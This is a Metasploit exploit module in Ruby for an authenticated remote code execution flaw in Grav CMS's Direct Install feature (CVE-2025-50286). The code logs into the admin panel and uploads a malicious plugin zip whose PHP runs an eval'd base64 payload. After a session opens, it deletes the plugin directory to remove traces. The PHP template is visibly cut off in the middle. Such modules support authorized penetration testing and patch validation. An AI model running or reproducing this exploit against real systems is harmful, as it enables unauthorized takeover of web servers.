## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Grav CMS Admin Direct Install Authenticated Plugin Upload RCE', 'Description' => %q{ Grav CMS version <=1.7.49.5 with Admin Plugin version <=1.10.49.3 is vulnerable to authenticated remote code execution via the "Direct Install" feature in the administrative interface. An authenticated administrator can upload a crafted plugin archive containing arbitrary PHP code. The uploaded plugin is written to disk and executed by the application, allowing command execution in the context of the web server user. This module authenticates to the admin panel, uploads a malicious plugin via /admin/tools/direct-install, and triggers execution of the embedded payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'binneko', # Original PoC / EDB 'x1o3' # Metasploit module ], 'References' => [ ['CVE', '2025-50286'], ['EDB', '52402'], ['URL', 'https://github.com/getgrav/grav'], ], 'DisclosureDate' => '2025-08-07', 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'PHP Payload', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base Path', '/']), OptString.new('USERNAME', [true, 'Admin username']), OptString.new('PASSWORD', [true, 'Admin password']), ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin'), 'keep_cookies' => true ) return CheckCode::Unknown('Connection failed') unless res return CheckCode::Unknown("Unexpected response code: #{res.code}") unless res.code == 200 html = res.get_html_document return CheckCode::Unknown('Could not parse HTML') unless html return CheckCode::Safe('Target does not appear to be a Grav installation') unless grav_installation?(html) return CheckCode::Detected('Grav detected but login form not accessible') unless login_form_present?(html) cms_version, admin_version = get_version_after_login return CheckCode::Detected('Grav CMS detected but version could not be determined') unless cms_version return CheckCode::Detected('Admin Plugin version detected but could not be determined') unless admin_version version = Rex::Version.new(cms_version) if version <= Rex::Version.new('1.7.49.5') && version >= Rex::Version.new('1.1.0') vuln = true end if admin_version plugin_version = Rex::Version.new(admin_version) if plugin_version <= Rex::Version.new('1.10.49.3') && plugin_version >= Rex::Version.new('1.1.0') && vuln return CheckCode::Appears("\n - Grav CMS #{version} is vulnerable\n - Admin Plugin v#{plugin_version} is vulnerable") end end return CheckCode::Safe("Grav CMS #{cms_version} is not vulnerable") unless vuln CheckCode::Safe("Admin Plugin v#{plugin_version} is not vulnerable") end def exploit print_status('Authenticating to Grav admin...') login plugin_name = (Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(17)).downcase @name = plugin_name zip_data = build_plugin_zip(plugin_name) print_status('Uploading plugin via Direct Install...') upload_plugin(zip_data, plugin_name) end def grav_installation?(html) grav_checks = [ html.at('//*[@data-gpm-grav]'), html.at('//*[@data-grav-field]'), html.at('//*[@data-grav-disabled]'), html.at('//*[@data-grav-default]') ] grav_checks.count { |elem| !elem.nil? } >= 2 end def login_form_present?(html) username_input = html.at('input[@name="data[username]"]') password_input = html.at('input[@name="data[password]"]') username_input && password_input end def get_version_after_login result = authenticate return nil unless result == :success || result == :already_authenticated res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin'), 'keep_cookies' => true ) return nil unless res && res.code == 200 html = res.get_html_document return nil unless html cms_elem = html.at('span.grav-version') cms_version = cms_elem.text.strip parent_text = cms_elem.parent.text.gsub(/\s+/, ' ') admin_version = parent_text[/Admin v([\d.]+)/, 1] return nil unless cms_version [cms_version, admin_version] end def authenticate res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin'), 'keep_cookies' => true ) return :connection_failed unless res html = res.get_html_document return :connection_failed unless html nonce = html.at('input[@name="login-nonce"]/@value') return :already_authenticated if nonce.nil? && html.at('span.grav-version') return :connection_failed unless nonce res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin'), 'keep_cookies' => true, 'vars_post' => { 'data[username]' => datastore['USERNAME'], 'data[password]' => datastore['PASSWORD'], 'task' => 'login', 'login-nonce' => nonce.text } ) return :connection_failed unless res if [302, 303].include?(res.code) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin'), 'keep_cookies' => true ) return :connection_failed unless res end return :login_failed if res.body.include?('name="login-nonce"') :success end def login print_status('Authenticating...') result = authenticate case result when :already_authenticated print_good('Already authenticated') when :success print_good('Login successful') when :connection_failed fail_with(Failure::Unreachable, 'Connection failed') when :login_failed fail_with(Failure::NoAccess, 'Login failed') else fail_with(Failure::UnexpectedReply, 'Unexpected authentication error') end end def build_plugin_zip(plugin_name) php_code = generate_php_plugin(plugin_name) zip = Rex::Zip::Archive.new zip.add_file("#{plugin_name}plugin/", '') zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.php", php_code) zip.add_file("#{plugin_name}plugin/blueprints.yaml", "name: #{plugin_name.capitalize}\ntype: plugin\nversion: 1.0.0\ndescription: Cute plugin\nform:\n fields: []") zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.yaml", "enabled: true\ntext_var: Text by **#{plugin_name.capitalize} Plugin** plugin") zip.pack end def generate_php_plugin(plugin_name) b64_payload = Rex::Text.encode_base64(payload.encoded) class_name = "#{plugin_name.capitalize}pluginPlugin" Rex::Text.rand_text_alpha(8) <<~PHP ['onPagesInitialized', 0] ]; } public function onPagesInitialized() { @eval(base64_decode('#{b64_payload}')); } } PHP end def build_multipart_body(nonce, zip_data, plugin_name) mime = Rex::MIME::Message.new mime.add_part('directInstall', nil, nil, 'form-data; name="task"') mime.add_part(nonce, nil, nil, 'form-data; name="admin-nonce"') mime.add_part( zip_data, 'application/zip', 'binary', "form-data; name=\"uploaded_file\"; filename=\"#{plugin_name}.zip\"" ) mime end def upload_plugin(zip_data, plugin_name) install_uri = normalize_uri(target_uri.path, 'admin', 'tools', 'direct-install') res = send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true) fail_with(Failure::Unreachable, 'No response fetching install page') unless res fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 nonce = res.body.match(/name="admin-nonce"\s+value="([^"]+)"/)&.captures&.first fail_with(Failure::UnexpectedReply, 'Could not extract admin nonce') unless nonce mime = build_multipart_body(nonce, zip_data, plugin_name) res2 = send_request_cgi( 'method' => 'POST', 'uri' => install_uri, 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) fail_with(Failure::Unreachable, 'No response during plugin upload') unless res2 if [301, 302, 303].include?(res2.code) vprint_status("Upload redirected (#{res2.code}), following...") send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true) end end def on_new_session(session) return unless session.type == 'meterpreter' super plugin_dir = "user/plugins/#{@name}plugin" print_status("Cleaning up plugin directory: #{plugin_dir}") session.sys.process.execute("rm -rf #{plugin_dir}") print_good('Plugin directory removed') end end